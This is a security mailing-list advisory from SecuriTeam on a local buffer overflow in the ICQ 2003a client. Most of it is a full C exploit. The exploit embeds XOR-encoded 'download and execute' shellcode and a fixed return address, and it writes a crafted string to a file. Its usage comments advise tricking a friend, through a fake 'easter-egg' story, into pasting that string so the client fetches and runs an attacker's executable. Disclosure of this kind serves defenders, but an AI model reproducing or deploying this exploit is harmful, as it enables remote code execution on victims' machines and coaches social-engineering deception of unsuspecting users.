[EXPL] Mirabilis ICQ Local Buffer Overflow (Find, Exploit)
From: SecuriTeam (support_at_securiteam.com)
Date: 10/31/05
- Previous message: SecuriTeam: "[UNIX] Mantis File Inclusion Vulnerability (t_core_path)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 31 Oct 2005 08:51:24 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Mirabilis ICQ Local Buffer Overflow (Find, Exploit)
------------------------------------------------------------------------
SUMMARY
" <http://www.icq.com/> ICQ's aim is to create a simple, massively popular
way to communicate online." Improper length validation allows local
attackers to execute arbitrary code by exploiting a buffer overflow in
Mirabilis ICQ client.
DETAILS
Vulnerable Systems:
* Mirabilis ICQ 2003a
Exploit:
/*
*
* Mirabilis ICQ 2003a Buffer Overflow Download Shellcoded Exploit
* Bug discovered & exploit coded by ATmaCA
* Web: http://www.spyinstructors.com && http://www.atmacasoft.com
* E-Mail: atmaca at icqmail.com
* Credit to Kozan and delicon
*
*/
/*
* Usage:
*
* Execute exploit, it will create "bof.txt" in current directory.
* Open ICQ <= 2003a and click "Add" button
* "Add / Invite Users to Your Contact List" dialog will be opened
* Copy the content of "bof.txt" to "First name" and "Last name" fields.
* Press "find" button
*
* Now, icq will download and run your server which you specified in WebUrl
field.
*
* This exploit requires social engineering skills to use it. For example
you should
* tell your friend that you've found a easter-egg and if he wants to see
it he has to
* type your vuln. string to first and last name fields in icq then press
find button etc...
*
/*
*
* Affected versions:
* Mirabilis ICQ Pro 2003a and prior versions.
*
* Tested with :
* ICQ 2003a Build #3800 on Win XP Pro Sp2
* ICQ 2002a Build #3728 on Win XP Pro Sp2
*
*/
#include <stdio.h>
#include <string.h>
#include <windows.h>
char *Sifrele(char *pszName1)
{
char *pszName = pszName1;
int Xor = 0x1d;
int Size = strlen(pszName);
for(int i=0;i<Size;i++)
pszName[i] = pszName[i]^Xor;
return pszName;
}
void main(int argc, char *argv[])
{
if (argc < 2)
{
printf("\n\n\tMirabilis ICQ 2003a Buffer Overflow Download
Shellcoded Exploit\n");
printf("\tBug discovered & exploit coded by ATmaCA\n");
printf("\tWeb: http://www.spyinstructors.com &&
http://www.atmacasoft.com\n");
printf("\tE-Mail: atmaca@icqmail.com\n");
printf("\tCredit to Kozan and delicon\n\n");
printf("Usage:\n");
printf(" icq_bof <WebUrl>\n");
printf(" Example:icq_bof
http://www.atmacasoft.com/small.exe\n");
return;
}
/* Generic win32 http download shellcode
xored with 0x1d by delikon (http://delikon.de/) */
char shellcode[] = "\xEB"
"\x10\x58\x31\xC9\x66\x81\xE9\x22\xFF\x80\x30\x1D\x40\xE2\xFA\xEB\x05\xE8\xEB\xFF"
"\xFF\xFF\xF4\xD1\x1D\x1D\x1D\x42\xF5\x4B\x1D\x1D\x1D\x94\xDE\x4D\x75\x93\x53\x13"
"\xF1\xF5\x7D\x1D\x1D\x1D\x2C\xD4\x7B\xA4\x72\x73\x4C\x75\x68\x6F\x71\x70\x49\xE2"
"\xCD\x4D\x75\x2B\x07\x32\x6D\xF5\x5B\x1D\x1D\x1D\x2C\xD4\x4C\x4C\x90\x2A\x4B\x90"
"\x6A\x15\x4B\x4C\xE2\xCD\x4E\x75\x85\xE3\x97\x13\xF5\x30\x1D\x1D\x1D\x4C\x4A\xE2"
"\xCD\x2C\xD4\x54\xFF\xE3\x4E\x75\x63\xC5\xFF\x6E\xF5\x04\x1D\x1D\x1D\xE2\xCD\x48"
"\x4B\x79\xBC\x2D\x1D\x1D\x1D\x96\x5D\x11\x96\x6D\x01\xB0\x96\x75\x15\x94\xF5\x43"
"\x40\xDE\x4E\x48\x4B\x4A\x96\x71\x39\x05\x96\x58\x21\x96\x49\x18\x65\x1C\xF7\x96"
"\x57\x05\x96\x47\x3D\x1C\xF6\xFE\x28\x54\x96\x29\x96\x1C\xF3\x2C\xE2\xE1\x2C\xDD"
"\xB1\x25\xFD\x69\x1A\xDC\xD2\x10\x1C\xDA\xF6\xEF\x26\x61\x39\x09\x68\xFC\x96\x47"
"\x39\x1C\xF6\x7B\x96\x11\x56\x96\x47\x01\x1C\xF6\x96\x19\x96\x1C\xF5\xF4\x1F\x1D"
"\x1D\x1D\x2C\xDD\x94\xF7\x42\x43\x40\x46\xDE\xF5\x32\xE2\xE2\xE2\x70\x75\x75\x33"
"\x78\x65\x78\x1D";
FILE *file;
char buf[485];
char *web;
short int weblength;
char *pointer = NULL;
char *newshellcode;
web = argv[1];
weblength = (short int)0xff22;
pointer = strstr(shellcode,"\x22\xff");
weblength -= strlen(web)+1;
memcpy(pointer,&weblength,2);
newshellcode = (char*)malloc(sizeof(shellcode)+strlen(web)+1);
strcpy(newshellcode,shellcode);
strcat(newshellcode,Sifrele(web));
strcat(newshellcode,"\x1d");
if( (file = fopen("bof.txt", "w+")) == NULL )
return;
memset(buf, 0x90, 480);
//ret - icqate32.dll (5.3.4.3727) jmp esp addr - [Universal]
*(DWORD *) &buf[34] = 0x12025c5c;
memcpy(buf+34+32,newshellcode,strlen(newshellcode));
*(DWORD *) &buf[480] = 0x00000000;
fprintf(file, "%s", buf);
fclose(file);
printf("\r\nbof.txt has been generated!\r\n");
return;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:atmaca@icqmail.com> ATmaCA.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[UNIX] Mantis File Inclusion Vulnerability (t_core_path)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
